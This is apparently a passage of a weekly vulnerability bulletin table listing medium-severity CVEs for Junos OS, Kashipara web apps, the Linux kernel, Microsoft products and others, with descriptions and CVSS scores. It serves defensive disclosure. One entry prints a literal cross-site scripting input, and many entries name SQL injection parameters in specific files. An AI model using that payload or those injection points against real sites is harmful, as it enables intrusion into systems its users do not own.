juniper_networks -- junos_os	An Improper Neutralization of Equivalent Special Elements vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on PTX Series allows a unauthenticated, adjacent attacker to cause a Denial of Service (DoS). When MPLS packets are meant to be sent to a flexible tunnel interface (FTI) and if the FTI tunnel is down, these will hit the reject NH, due to which the packets get sent to the CPU and cause a host path wedge condition. This will cause the FPC to hang and requires a manual restart to recover. Please note that this issue specifically affects PTX1000, PTX3000, PTX5000 with FPC3, PTX10002-60C, and PTX10008/16 with LC110x. Other PTX Series devices and Line Cards (LC) are not affected. The following log message can be seen when the issue occurs: Cmerror Op Set: Host Loopback: HOST LOOPBACK WEDGE DETECTED IN PATH ID <id> (URI: /fpc/<fpc>/pfe/<pfe>/cm/<cm>/Host_Loopback/<cm>/HOST_LOOPBACK_MAKE_CMERROR_ID[<id>]) This issue affects Juniper Networks Junos OS: * All versions earlier than 20.4R3-S8; * 21.1 versions earlier than 21.1R3-S4; * 21.2 versions earlier than 21.2R3-S6; * 21.3 versions earlier than 21.3R3-S3; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R2-S2, 22.1R3; * 22.2 versions earlier than 22.2R2-S1, 22.2R3.	2024-01-12	6.5	CVE-2024-21600
juniper_networks -- junos_os	An Improper Check for Unusual or Exceptional Conditions vulnerability in the kernel of Juniper Network Junos OS on MX Series allows a network based attacker with low privileges to cause a denial of service. If a scaled configuration for Source class usage (SCU) / destination class usage (DCU) (more than 10 route classes) is present and the SCU/DCU statistics are gathered by executing specific SNMP requests or CLI commands, a 'vmcore' for the RE kernel will be seen which leads to a device restart. Continued exploitation of this issue will lead to a sustained DoS. This issue only affects MX Series devices with MPC10, MPC11 or LC9600, and MX304. No other MX Series devices are affected. This issue affects Juniper Networks Junos OS: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S6; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3; * 22.1 versions earlier than 22.1R3; * 22.2 versions earlier than 22.2R2; * 22.3 versions earlier than 22.3R2.	2024-01-12	6.5	CVE-2024-21603
juniper_networks -- junos_os	An Incomplete Cleanup vulnerability in Nonstop active routing (NSR) component of Juniper Networks Junos OS allows an adjacent, unauthenticated attacker to cause memory leak leading to Denial of Service (DoS). On all Junos OS platforms, when NSR is enabled, a BGP flap will cause memory leak. A manual reboot of the system will restore the services. The memory usage can be monitored using the below commands. user@host> show chassis routing-engine no-forwarding user@host> show system memory | no-more This issue affects: Juniper Networks Junos OS * 21.2 versions earlier than 21.2R3-S5; * 21.3 versions earlier than 21.3R3-S4; * 21.4 versions earlier than 21.4R3-S4; * 22.1 versions earlier than 22.1R3-S2; * 22.2 versions earlier than 22.2R3-S2; * 22.3 versions earlier than 22.3R2-S1, 22.3R3; * 22.4 versions earlier than 22.4R1-S2, 22.4R2. This issue does not affect Junos OS versions earlier than 20.4R3-S7.	2024-01-12	6.5	CVE-2024-21617
juniper_networks -- junos_os	A Heap-based Buffer Overflow vulnerability in the Network Services Daemon (NSD) of Juniper Networks Junos OS allows authenticated, low privileged, local attacker to cause a Denial of Service (DoS). On an SRX 5000 Series device, when executing a specific command repeatedly, memory is corrupted, which leads to a Flow Processing Daemon (flowd) crash. The NSD process has to be restarted to restore services. If this issue occurs, it can be checked with the following command: user@host> request security policies check The following log message can also be observed: Error: policies are out of sync for PFE node<number>.fpc<number>.pic<number>. This issue affects: Juniper Networks Junos OS on SRX 5000 Series * All versions earlier than 20.4R3-S6; * 21.1 versions earlier than 21.1R3-S5; * 21.2 versions earlier than 21.2R3-S4; * 21.3 versions earlier than 21.3R3-S3; * 21.4 versions earlier than 21.4R3-S3; * 22.1 versions earlier than 22.1R3-S1; * 22.2 versions earlier than 22.2R3; * 22.3 versions earlier than 22.3R2.	2024-01-12	5.5	CVE-2024-21594

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
juniper_networks -- junos_os	An Exposure of Resource to Wrong Sphere vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series allows an unauthenticated, network-based attacker to bypass the intended access restrictions. In an Abstracted Fabric (AF) scenario if routing-instances (RI) are configured, specific valid traffic destined to the device can bypass the configured lo0 firewall filters as it's received in the wrong RI context. This issue affects Juniper Networks Junos OS on MX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S3; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3; * 22.2 versions earlier than 22.2R3; * 22.3 versions earlier than 22.3R2.	2024-01-12	5.3	CVE-2024-21597
juniper_networks -- junos_os	A Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') vulnerability in the Flow-processing Daemon (flowd) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (Dos). On SRX Series devices when two different threads try to simultaneously process a queue which is used for TCP events flowd will crash. One of these threads can not be triggered externally, so the exploitation of this race condition is outside the attackers direct control. Continued exploitation of this issue will lead to a sustained DoS. This issue affects Juniper Networks Junos OS: * 21.2 versions earlier than 21.2R3-S5; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S4; * 22.1 versions earlier than 22.1R3-S3; * 22.2 versions earlier than 22.2R3-S1; * 22.3 versions earlier than 22.3R2-S2, 22.3R3; * 22.4 versions earlier than 22.4R2-S1, 22.4R3. This issue does not affect Juniper Networks Junos OS versions earlier than 21.2R1.	2024-01-12	5.9	CVE-2024-21601
juniper_networks -- junos_os	An Unsupported Feature in the UI vulnerability in Juniper Networks Junos OS on MX Series and EX9200 Series allows an unauthenticated, network-based attacker to cause partial impact to the integrity of the device. If the "tcp-reset" option is added to the "reject" action in an IPv6 filter which matches on "payload-protocol", packets are permitted instead of rejected. This happens because the payload-protocol match criteria is not supported in the kernel filter causing it to accept all packets without taking any other action. As a fix the payload-protocol match will be treated the same as a "next-header" match to avoid this filter bypass. This issue doesn't affect IPv4 firewall filters. This issue affects Juniper Networks Junos OS on MX Series and EX9200 Series: * All versions earlier than 20.4R3-S7; * 21.1 versions earlier than 21.1R3-S5; * 21.2 versions earlier than 21.2R3-S5; * 21.3 versions earlier than 21.3R3-S4; * 21.4 versions earlier than 21.4R3-S4; * 22.1 versions earlier than 22.1R3-S2; * 22.2 versions earlier than 22.2R3-S2; * 22.3 versions earlier than 22.3R2-S2, 22.3R3; * 22.4 versions earlier than 22.4R1-S2, 22.4R2-S2, 22.4R3.	2024-01-12	5.3	CVE-2024-21607
juniper_networks -- junos_os/junos_os_evolved	A Missing Release of Memory after Effective Lifetime vulnerability in Routing Protocol Daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause an rpd crash, leading to Denial of Service (DoS). On all Junos OS and Junos OS Evolved platforms, when traffic engineering is enabled for OSPF or ISIS, and a link flaps, a patroot memory leak is observed. This memory leak, over time, will lead to an rpd crash and restart. The memory usage can be monitored using the below command. user@host> show task memory detail | match patroot This issue affects: Juniper Networks Junos OS * All versions earlier than 21.2R3-S3; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S3; * 22.1 versions earlier than 22.1R3; * 22.2 versions earlier than 22.2R3. Juniper Networks Junos OS Evolved * All versions earlier than 21.3R3-S5-EVO; * 21.4 versions earlier than 21.4R3-EVO; * 22.1 versions earlier than 22.1R3-EVO; * 22.2 versions earlier than 22.2R3-EVO.	2024-01-12	6.5	CVE-2024-21613
juniper_networks -- junos_os/junos_os_evolved	An Improper Handling of Exceptional Conditions vulnerability in BGP session processing of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker, using specific timing outside the attacker's control, to flap BGP sessions and cause the routing protocol daemon (rpd) process to crash and restart, leading to a Denial of Service (DoS) condition.	2024-01-12	5.9	CVE-2024-21585

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	Continued BGP session flapping will create a sustained Denial of Service (DoS) condition. This issue only affects routers configured with non-stop routing (NSR) enabled. Graceful Restart (GR) helper mode, enabled by default, is also required for this issue to be exploitable. When the BGP session flaps on the NSR-enabled router, the device enters GR-helper/LLGR-helper mode due to the peer having negotiated GR/LLGR-restarter capability and the backup BGP requests for replication of the GR/LLGR-helper session, master BGP schedules, and initiates replication of GR/LLGR stale routes to the backup BGP. In this state, if the BGP session with the BGP peer comes up again, unsolicited replication is initiated for the peer without cleaning up the ongoing GR/LLGR-helper mode replication. This parallel two instances of replication for the same peer leads to the assert if the BGP session flaps again. This issue affects: Juniper Networks Junos OS * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S1; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.2 versions earlier than 23.2R1-S1, 23.2R2. Juniper Networks Junos OS Evolved * All versions earlier than 21.3R3-S5-EVO; * 21.4 versions earlier than 21.4R3-S5-EVO; * 22.1 versions earlier than 22.1R3-S4-EVO; * 22.2 versions earlier than 22.2R3-S3-EVO; * 22.3 versions earlier than 22.3R3-S1-EVO; * 22.4 versions earlier than 22.4R2-S2-EVO, 22.4R3-EVO; * 23.2 versions earlier than 23.2R1-S1-EVO, 23.2R2-EVO.			
juniper_networks -- junos_os/junos_os_evolved	A Heap-based Buffer Overflow vulnerability in the Routing Protocol Daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, network based attacker to cause a Denial of Service (DoS). If an attacker sends a specific BGP UPDATE message to the device, this will cause a memory overwrite and therefore an RPD crash and restart in the backup Routing Engine (RE). Continued receipt of these packets will cause a sustained Denial of Service (DoS) condition in the backup RE. The primary RE is not impacted by this issue and there is no impact on traffic. This issue only affects devices with NSR enabled. This issue requires an attacker to have an established BGP session to a system affected by the issue. This issue affects both eBGP and iBGP implementations. This issue affects: Juniper Networks Junos OS * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S2; * 22.3 versions earlier than 22.3R3-S1; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.1 versions earlier than 23.1R2; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. Juniper Networks Junos OS Evolved * All versions earlier than 21.3R3-S5-EVO; * 21.4-EVO versions earlier than 21.4R3-S5-EVO; * 22.1-EVO versions earlier than 22.1R3-S4-EVO; * 22.2-EVO versions earlier than 22.2R3-S2-EVO; * 22.3-EVO versions later than 22.3R1-EVO; * 22.4-EVO versions earlier than 22.4R2-S2-EVO, 22.4R3-EVO; * 23.1-EVO versions earlier than 23.1R2-EVO; * 23.2-EVO versions earlier than 23.2R1-S2-EVO, 23.2R2-EVO.	2024-01-12	5.3	CVE-2024-21596
juzaweb -- cms	juzaweb <= 3.4 is vulnerable to Incorrect Access Control, resulting in an application outage after a 500 HTTP status code. The payload in the timezone field was not correctly validated.	2024-01-09	4.9	CVE-2023-46906
jwx -- jwx	jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in version 2.0.19.	2024-01-09	4.3	CVE-2024-21664
kashipara -- billing_software	A vulnerability classified as critical was found in Kashipara Billing Software 1.0. Affected by this vulnerability is an unknown functionality of the file buyer_detail_submit.php of the component HTTP POST Request Handler. The manipulation of the argument gstn_no leads to sql injection. The attack can be	2024-01-13	6.3	CVE-2024-0492

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250597 was assigned to this vulnerability.			
kashipara -- billing_software	A vulnerability, which was classified as critical, has been found in Kashipara Billing Software 1.0. Affected by this issue is some unknown functionality of the file submit_delivery_list.php of the component HTTP POST Request Handler. The manipulation of the argument customer_details leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250598 is the identifier assigned to this vulnerability.	2024-01-13	6.3	CVE-2024-0493
kashipara -- billing_software	A vulnerability, which was classified as critical, was found in Kashipara Billing Software 1.0. This affects an unknown part of the file material_bill.php of the component HTTP POST Request Handler. The manipulation of the argument itemtypeid leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250599.	2024-01-13	6.3	CVE-2024-0494
kashipara -- billing_software	A vulnerability has been found in Kashipara Billing Software 1.0 and classified as critical. This vulnerability affects unknown code of the file party_submit.php of the component HTTP POST Request Handler. The manipulation of the argument party_name leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250600.	2024-01-13	6.3	CVE-2024-0495
kashipara -- billing_software	A vulnerability was found in Kashipara Billing Software 1.0 and classified as critical. This issue affects some unknown processing of the file item_list_edit.php of the component HTTP POST Request Handler. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250601 was assigned to this vulnerability.	2024-01-13	6.3	CVE-2024-0496
kashipara -- food_management_system	A vulnerability, which was classified as critical, was found in Kashipara Food Management System up to 1.0. This affects an unknown part of the file item_list_submit.php. The manipulation of the argument item_name leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249825 was assigned to this vulnerability.	2024-01-07	6.5	CVE-2024-0270
kashipara -- food_management_system	A vulnerability has been found in Kashipara Food Management System up to 1.0 and classified as critical. This vulnerability affects unknown code of the file addmaterial_edit.php. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-249826 is the identifier assigned to this vulnerability.	2024-01-07	6.5	CVE-2024-0271
kashipara -- food_management_system	A vulnerability was found in Kashipara Food Management System up to 1.0 and classified as critical. This issue affects some unknown processing of the file addmaterialsubmit.php. The manipulation of the argument material_name leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249827.	2024-01-07	6.5	CVE-2024-0272
kashipara -- food_management_system	A vulnerability was found in Kashipara Food Management System up to 1.0. It has been classified as critical. Affected is an unknown function of the file addwaste_entry.php. The manipulation of the argument item_name leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249828.	2024-01-07	6.5	CVE-2024-0273
kashipara -- food_management_system	A vulnerability was found in Kashipara Food Management System up to 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file billAjax.php. The manipulation of the argument item_name leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to	2024-01-07	6.5	CVE-2024-0274

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	the public and may be used. The identifier VDB-249829 was assigned to this vulnerability.			
kashipara -- food_management_system	A vulnerability was found in Kashipara Food Management System up to 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file item_edit_submit.php. The manipulation of the argument id leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249830 is the identifier assigned to this vulnerability.	2024-01-07	6.5	CVE-2024-0275
kashipara -- food_management_system	A vulnerability classified as critical has been found in Kashipara Food Management System up to 1.0. This affects an unknown part of the file rawstock_used_damaged_smt.php. The manipulation of the argument product_name leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249831.	2024-01-07	6.5	CVE-2024-0276
kashipara -- food_management_system	A vulnerability classified as critical was found in Kashipara Food Management System up to 1.0. This vulnerability affects unknown code of the file party_submit.php. The manipulation of the argument party_name leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249832.	2024-01-07	6.5	CVE-2024-0277
kashipara -- food_management_system	A vulnerability, which was classified as critical, has been found in Kashipara Food Management System up to 1.0. This issue affects some unknown processing of the file partylist_edit_submit.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249833 was assigned to this vulnerability.	2024-01-07	6.5	CVE-2024-0278
kashipara -- food_management_system	A vulnerability, which was classified as critical, was found in Kashipara Food Management System up to 1.0. Affected is an unknown function of the file item_list_edit.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249834 is the identifier assigned to this vulnerability.	2024-01-07	6.5	CVE-2024-0279
kashipara -- food_management_system	A vulnerability has been found in Kashipara Food Management System up to 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file item_type_submit.php. The manipulation of the argument type_name leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249835.	2024-01-07	6.5	CVE-2024-0280
kashipara -- food_management_system	A vulnerability was found in Kashipara Food Management System up to 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file loginCheck.php. The manipulation of the argument password leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249836.	2024-01-07	6.5	CVE-2024-0281
kashipara -- food_management_system	A vulnerability was found in Kashipara Food Management System up to 1.0. It has been classified as problematic. This affects an unknown part of the file addmaterialsubmit.php. The manipulation of the argument tin leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249837 was assigned to this vulnerability.	2024-01-07	6.1	CVE-2024-0282
kashipara -- food_management_system	A vulnerability was found in Kashipara Food Management System up to 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file party_details.php. The manipulation of the argument party_name leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed	2024-01-07	6.1	CVE-2024-0283

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	to the public and may be used. VDB-249838 is the identifier assigned to this vulnerability.			
kashipara -- food_management_system	A vulnerability was found in Kashipara Food Management System up to 1.0. It has been rated as problematic. This issue affects some unknown processing of the file party_submit.php. The manipulation of the argument party_address leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249839.	2024-01-07	6.1	CVE-2024-0284
kofax -- capture	The application is vulnerable to Stored Cross-Site Scripting (XSS) in the endpoint /sofer/DocumentService.asc/SaveAnnotation, where input data transmitted via the POST method in the parameters author and text are not adequately sanitized and validated. This allows for the injection of malicious JavaScript code. The vulnerability was identified in the function for adding new annotations while editing document content. Reporters inform that the vulnerability has been removed in software versions above 11.1.x. Previous versions may also be vulnerable, but this has not been confirmed.	2024-01-11	5.4	CVE-2023-5118
lif-platforms -- lif-auth-server	Lif Auth Server is a server for validating logins, managing information, and account recovery for Lif Accounts. The issue relates to the `get_pfp` and `get_banner` routes on Auth Server. The issue is that there is no check to ensure that the file that Auth Server is receiving through these URLs is correct. This could allow an attacker access to files they shouldn't have access to. This issue has been patched in version 1.4.0.	2024-01-12	4.2	CVE-2023-49801
linux -- kernel	It was discovered that when exec'ing from a non-leader thread, armed POSIX CPU timers would be left on a list but freed, leading to a use-after-free.	2024-01-08	5.3	CVE-2022-2585
linux -- kernel	The Linux kernel io_uring IORING_OP_SOCKET operation contained a double free in function __sys_socket_file() in file net/socket.c. This issue was introduced in da214a475f8bd1d3e9e7a19ddfeb4d1617551bab and fixed in 649c15c7691e9b13cbe9bf6c65c365350e056067.	2024-01-08	5.5	CVE-2023-1032
linux -- kernel	Closing of an event channel in the Linux kernel can result in a deadlock. This happens when the close is being performed in parallel to an unrelated Xen console action and the handling of a Xen console interrupt in an unprivileged guest. The closing of an event channel is e.g. triggered by removal of a paravirtual device on the other side. As this action will cause console messages to be issued on the other side quite often, the chance of triggering the deadlock is not neglectable. Note that 32-bit Arm-guests are not affected, as the 32-bit Linux kernel on Arm doesn't use queued-RW-locks, which are required to trigger the issue (on Arm32 a waiting writer doesn't block further readers to get the lock).	2024-01-05	4.9	CVE-2023-34324 security@xen.org security@xen.org security@xen.org
linux -- kernel	A vulnerability was found in vhost_new_msg in drivers/vhost/vhost.c in the Linux kernel, which does not properly initialize memory in messages passed between virtual guests and the host operating system in the vhost/vhost.c:vhost_new_msg() function. This issue can allow local privileged users to read some kernel memory contents when reading from the /dev/vhost-net device file.	2024-01-09	4.4	CVE-2024-0340
linux -- kernel	A flaw was found in the blkgs destruction path in block/blk-cgroup.c in the Linux kernel, leading to a cgroup blkio memory leakage problem. When a cgroup is being destroyed, cgroup_rstat_flush() is only called at css_release_work_fn(), which is called when the blkcg reference count reaches 0. This circular dependency will prevent blkcg and some blkgs from being freed after they are made offline. This	2024-01-12	5.5	CVE-2024-0443

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	issue may allow an attacker with a local access to cause system instability, such as an out of memory error.			
mailmunch -- constant_contact_forms_by_mailmunch	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MailMunch Constant Contact Forms by MailMunch allows Stored XSS.This issue affects Constant Contact Forms by MailMunch: from n/a through 2.0.11.	2024-01-13	6.5	CVE-2024-22137
mapster -- mapster_wp_maps	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Mapster Technology Inc. Mapster WP Maps allows Stored XSS.This issue affects Mapster WP Maps: from n/a through 1.2.38.	2024-01-08	5.4	CVE-2024-21744
meetyoucrop -- big-whale	A vulnerability was found in meetyoucrop big-whale 1.1 and classified as critical. Affected by this issue is some unknown functionality of the file /auth/user/all.api of the component Admin Module. The manipulation of the argument id leads to improper ownership management. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250232.	2024-01-11	6.3	CVE-2023-7226
michielvaneerd -- private_google_calendars	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Michiel van Eerd Private Google Calendars allows Stored XSS.This issue affects Private Google Calendars: from n/a through 20231125.	2024-01-08	5.4	CVE-2023-52198
microsoft -- .net_6.0	Microsoft Identity Denial of service vulnerability	2024-01-09	6.8	CVE-2024-21319
microsoft -- microsoft_edge_(chromium-based)	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	2024-01-11	6.3	CVE-2024-20675
microsoft -- microsoft_edge_(chromium-based)	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	2024-01-11	5.2	CVE-2024-21337
microsoft -- windows_10_1507	Microsoft Message Queuing Information Disclosure Vulnerability	2024-01-09	6.5	CVE-2024-20660
microsoft -- windows_10_1507	Windows Message Queuing Client (MSMQC) Information Disclosure	2024-01-09	6.5	CVE-2024-20663
microsoft -- windows_10_1507	Microsoft Message Queuing Information Disclosure Vulnerability	2024-01-09	6.5	CVE-2024-20664
microsoft -- windows_10_1507	BitLocker Security Feature Bypass Vulnerability	2024-01-09	6.6	CVE-2024-20666
microsoft -- windows_10_1507	Windows Message Queuing Client (MSMQC) Information Disclosure	2024-01-09	6.5	CVE-2024-20680
microsoft -- windows_10_1507	Microsoft Message Queuing Information Disclosure Vulnerability	2024-01-09	6.5	CVE-2024-21314
microsoft -- windows_10_1507	Windows Themes Spoofing Vulnerability	2024-01-09	6.5	CVE-2024-21320
microsoft -- windows_10_1507	Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability	2024-01-09	5.7	CVE-2024-20692
microsoft -- windows_10_1507	Windows Cryptographic Services Information Disclosure Vulnerability	2024-01-09	5.5	CVE-2024-21311
microsoft -- windows_10_1507	Windows TCP/IP Information Disclosure Vulnerability	2024-01-09	5.3	CVE-2024-21313

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
microsoft -- windows_10_1507	Windows Themes Information Disclosure Vulnerability	2024-01-09	4.7	CVE-2024-20691
microsoft -- windows_10_1607	Windows Server Key Distribution Service Security Feature Bypass	2024-01-09	6.1	CVE-2024-21316
microsoft -- windows_10_1607	Windows CoreMessaging Information Disclosure Vulnerability	2024-01-09	5.5	CVE-2024-20694
microsoft -- windows_10_1809	Windows Nearby Sharing Spoofing Vulnerability	2024-01-09	6.5	CVE-2024-20690
microsoft -- windows_10_1809	Windows Hyper-V Denial of Service Vulnerability	2024-01-09	5.5	CVE-2024-20699
microsoft -- windows_10_1809	Hypervisor-Protected Code Integrity (HVCI) Security Feature Bypass Vulnerability	2024-01-09	4.4	CVE-2024-21305
microsoft -- windows_10_21h2	Microsoft Bluetooth Driver Spoofing Vulnerability	2024-01-09	5.7	CVE-2024-21306
microsoft -- windows_server_2008	Windows Online Certificate Status Protocol (OCSP) Information Disclosure Vulnerability	2024-01-09	4.9	CVE-2024-20662
microsoft -- windows_server_2019	Microsoft Online Certificate Status Protocol (OCSP) Remote Code Execution Vulnerability	2024-01-09	6.6	CVE-2024-20655
mojofywp -- wp_affiliate_disclosure	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MojofyWP WP Affiliate Disclosure allows Stored XSS.This issue affects WP Affiliate Disclosure: from n/a through 1.2.7.	2024-01-05	5.4	CVE-2023-52178
mongodb_inc -- mongodb_c_driver	When calling bson_utf8_validate on some inputs a loop with an exit condition that cannot be reached may occur, i.e. an infinite loop. This issue affects All MongoDB C Driver versions prior to versions 1.25.0.	2024-01-12	5.3	CVE-2023-0437 cna@mongodb.com
netapp -- ontap_9	ONTAP versions 9.4 and higher are susceptible to a vulnerability which when successfully exploited could lead to disclosure of sensitive information to unprivileged attackers when the object-store profiler command is being run by an administrative user.	2024-01-12	4.8	CVE-2024-21982 security-alert@netapp.com
netscout -- ngeniusone	Cross Site Scripting vulnerability found in NetScoutnGeniusOne v.6.3.4 allows a remote attacker to execute arbitrary code via the name parameter of the Profile and Exclusion List page(s).	2024-01-09	6.1	CVE-2023-27000
netscout -- ngeniusone	Cross Site Scripting vulnerability found in NetScoutnGeniusOne v.6.3.4 allows a remote attacker to execute arbitrary code via the creator parameter of the Alert Configuration page.	2024-01-09	5.4	CVE-2023-26998
nvidia -- dgx_a100	NVIDIA DGX A100 BMC contains a vulnerability where an attacker may cause an LDAP user injection. A successful exploit of this vulnerability may lead to information disclosure.	2024-01-12	6.5	CVE-2023-31025
nvidia -- dgx_a100	NVIDIA DGX A100 BMC contains a vulnerability where a user may cause a missing authentication issue for a critical function by an adjacent network . A successful exploit of this vulnerability may lead to escalation of privileges, code execution, denial of service, information disclosure, and data tampering.	2024-01-12	6.8	CVE-2023-31033
nvidia -- dgx_a100	NVIDIA DGX A100 SBIOS contains a vulnerability where a local attacker can cause input validation checks to be bypassed by causing an integer overflow. A successful exploit of this vulnerability may lead to denial of service, information disclosure, and data tampering.	2024-01-12	6.6	CVE-2023-31034

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
nvidia -- dgx_a100	NVIDIA DGX A100 SBIOS contains a vulnerability where a user may cause a heap-based buffer overflow by local access. A successful exploit of this vulnerability may lead to code execution, denial of service, information disclosure, and data tampering.	2024-01-12	4.2	CVE-2023-31031
omron -- sysmac_studio	[PROBLEMTYPE] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT].	2024-01-10	5.5	CVE-2022-45793
online_job_portal -- online_job_portal	A vulnerability was found in Online Job Portal 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /Admin/News.php of the component Create News Page. The manipulation of the argument News with the input </title><scRipt>alert(0x00C57D)</scRipt> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249818 is the identifier assigned to this vulnerability.	2024-01-07	4.8	CVE-2024-0262
open-xchange -- ox_app_suite	The "upsell" widget at the portal page could be abused to inject arbitrary script code. Attackers that manage to lure users to a compromised account, or gain temporary access to a legitimate account, could inject script code to gain persistent code execution capabilities under a trusted domain. User input for this widget is now sanitized to avoid malicious content the be processed. No publicly available exploits are known.	2024-01-08	6.1	CVE-2023-29049
open-xchange -- ox_app_suite	Users were able to define disclaimer texts for an upsell shop dialog that would contain script code that was not sanitized correctly. Attackers could lure victims to user accounts with malicious script code and make them execute it in the context of a trusted domain. We added sanitization for this content. No publicly available exploits are known.	2024-01-08	5.4	CVE-2023-29052
open-xchange -- ox_app_suite	User-defined script code could be stored for a upsell related shop URL. This code was not correctly sanitized when adding it to DOM. Attackers could lure victims to user accounts with malicious script code and make them execute it in the context of a trusted domain. We added sanitization for this content. No publicly available exploits are known.	2024-01-08	5.4	CVE-2023-41710
openedx -- edx-platform	Open edX Platform is a service-oriented platform for authoring and delivering online learning. A user with a JWT and more limited scopes could call endpoints exceeding their access. This vulnerability has been patched in commit 019888f.	2024-01-13	6.4	CVE-2024-22209
pallets -- jinja	Jinja is an extensible templating engine. Special placeholders in the template allow writing code similar to Python syntax. It is possible to inject arbitrary HTML attributes into the rendered HTML template, potentially leading to Cross-Site Scripting (XSS). The Jinja `xmlattr` filter can be abused to inject arbitrary HTML attribute keys and values, bypassing the auto escaping mechanism and potentially leading to XSS. It may also be possible to bypass attribute validation checks if they are blacklist-based.	2024-01-11	5.4	CVE-2024-22195
